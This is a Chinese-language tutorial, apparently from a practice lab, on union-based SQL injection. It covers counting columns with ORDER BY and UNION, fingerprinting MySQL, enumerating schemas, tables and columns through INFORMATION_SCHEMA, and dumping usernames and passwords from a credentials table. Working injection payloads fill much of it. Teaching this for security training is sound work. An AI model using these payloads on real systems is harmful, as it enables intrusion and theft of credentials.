我們觀察到搜尋參數中可能存在 SQL 注入的機會。我們嘗試注入單引號 ' 來進行 SQLi 探測,結果出現錯誤訊息:

由於產生錯誤,表示此頁面可能存在 SQL 注入漏洞。這是一個典型可透過 Union-based Injection 來進行資料外洩的情境。

偵測欄位數

在進一步進行 Union-based 查詢利用之前,我們需要找出伺服器查詢結果的欄位數量,以下有兩種方式可以做到:

  • 使用 ORDER BY
  • 使用 UNION

使用 ORDER BY

第一種方式是使用 ORDER BY 函數。我們透過逐一增加欄位編號排序,直到出現錯誤為止。例如,我們從 order by 1 開始,接著依序測試 order by 2order by 3 等。

當排序成功代表該欄位存在,若排序失敗或頁面無輸出,代表該欄位不存在。最後一個成功的欄位編號即為欄位總數。

' order by 1-- -
提醒:在結尾加上一個額外的減號(-)是為了顯示 -- 後有一個空格。

接著測試第二個欄位:

' order by 2-- -

接著測試欄位 3 與 4,都成功返回結果。

這表示該資料表正好有 4 個欄位。

使用 UNION

另一種方式是嘗試注入帶有不同欄位數的 UNION 查詢,直到正確為止。此方法會持續出現錯誤,直到欄位數一致時才成功。

cn' UNION select 1,2,3-- -

出現錯誤:SELECT 敘述的欄位數不一致。

接著嘗試四欄位:

cn' UNION select 1,2,3,4-- -

這次成功返回結果,代表確定欄位數為 4。我們可以使用這兩種方式任一種來偵測欄位數。

注入位置的判斷

雖然查詢可能回傳多個欄位,網頁實際顯示的欄位可能只有部分。若我們將資料注入至未顯示的欄位,則無法看到結果。

我們必須找出哪些欄位會顯示在頁面上,以便決定注入位置。在前例中,雖然注入的是 1,2,3,4,但實際頁面只顯示欄位 2、3、4。

這表示欄位 2、3 與 4 會輸出至頁面,我們不應將重要輸出放在第 1 欄。

這也說明了使用數字當垃圾資料的好處:我們能夠輕鬆追蹤每個欄位的輸出位置。

測試可見欄位注入是否成功

我們將 @@version 放在第二欄來確認是否可以取得實際資料:

cn' UNION select 1,@@version,3,4-- -

從圖片中可以看到資料庫版本成功顯示在畫面上,這代表我們已經學會如何編寫 Union SQL Injection 的 Payload,並成功將查詢結果回顯到頁面。

資料庫列舉(Database Enumeration)

在前面的章節中,我們學習了如何使用 MySQL 撰寫各種 SQL 查詢語句並應用於 SQL Injection。本章將實際運用這些技術,從資料庫中取得資料。

MySQL 指紋識別(Fingerprinting)

在列舉資料庫之前,我們通常需要先辨識目前使用的是哪種類型的資料庫(DBMS),因為不同的 DBMS 有不同的查詢語法。

舉例來說,若我們在 HTTP 回應中看到 Web Server 為 Apache 或 Nginx,代表這很可能是 Linux 上的 MySQL。若是 IIS,則有可能是 MSSQL。

為了辨識 DBMS 類型,我們可以使用下列 MySQL 指紋測試語法:

語法 使用時機 預期輸出 其他 DBMS 錯誤輸出
SELECT @@version 當能完整輸出查詢結果時 MySQL 版本,例如:10.3.22-MariaDB-1ubuntu1 在 MSSQL 中會輸出 MSSQL 版本,其他 DBMS 則出錯
SELECT POW(1,1) 只有數值輸出時使用 1 其他 DBMS 出錯
SELECT SLEEP(5) 盲注/無輸出時使用 延遲 5 秒,回傳 0 其他 DBMS 不會延遲

正如我們在上一節的例子中看到的,當我們嘗試 @@version :

INFORMATION_SCHEMA 資料庫

若要透過 UNION SELECT 查詢從資料表擷取資料,我們需要下列資訊:

  • 所有資料庫清單
  • 各資料庫中的資料表清單
  • 各資料表中的欄位清單

上述資訊可以從 INFORMATION_SCHEMA 這個特殊的資料庫中取得。它包含伺服器上的資料庫與資料表的中繼資料。

舉例來說,若要查詢 my_database 資料庫中 users 表的內容,可以使用:

SELECT * FROM my_database.users;

 

SCHEMATA(資料庫名稱列舉)

首先,我們查詢 INFORMATION_SCHEMA.SCHEMATA 表中的 SCHEMA_NAME 欄位來獲得所有資料庫名稱:

mysql> SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;
+-----------------------+
| SCHEMA_NAME           |
+-----------------------+
| mysql                 |
| information_schema    |
| performance_schema    |
| ilfreight             |
| dev                   |
+-----------------------+

除了預設的三個資料庫外,我們看到還有 ilfreightdev 這兩個資料庫。

注意:前三個是預設的 MySQL 資料庫,列舉時可以略過。

使用 UNION 注入查詢資料庫名稱

cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -

查詢當前使用的資料庫

cn' UNION select 1,database(),2,3-- -

TABLES(查詢資料表名稱)

接下來我們針對 dev 資料庫查詢其中有哪些資料表。可透過 INFORMATION_SCHEMA.TABLES 資料表中的 TABLE_NAMETABLE_SCHEMA 欄位查詢。

cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -

 

注意:加上條件 where table_schema='dev' 可避免列出所有資料庫的資料表。

COLUMNS(查詢欄位名稱)

我們發現 dev 資料庫中有 credentialspostsframeworkpages 等表。

假設我們要查詢 credentials 資料表中的欄位,可透過以下語法:

cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -

我們看到欄位為 usernamepassword

資料擷取(Dump Data)

現在我們已經有足夠資訊來撰寫 UNION 查詢,從 dev 資料庫的 credentials 表中擷取 usernamepassword 欄位。

cn' UNION select 1,username,password,4 from dev.credentials-- -
提醒:別忘了使用 dot(點)運算子 dev.credentials 來指定目標資料表,因為目前查詢的是從 ilfreight 資料庫執行。

最終,我們成功擷取 credentials 表中的所有資料,其中包含密碼雜湊值與 API 金鑰等敏感資訊。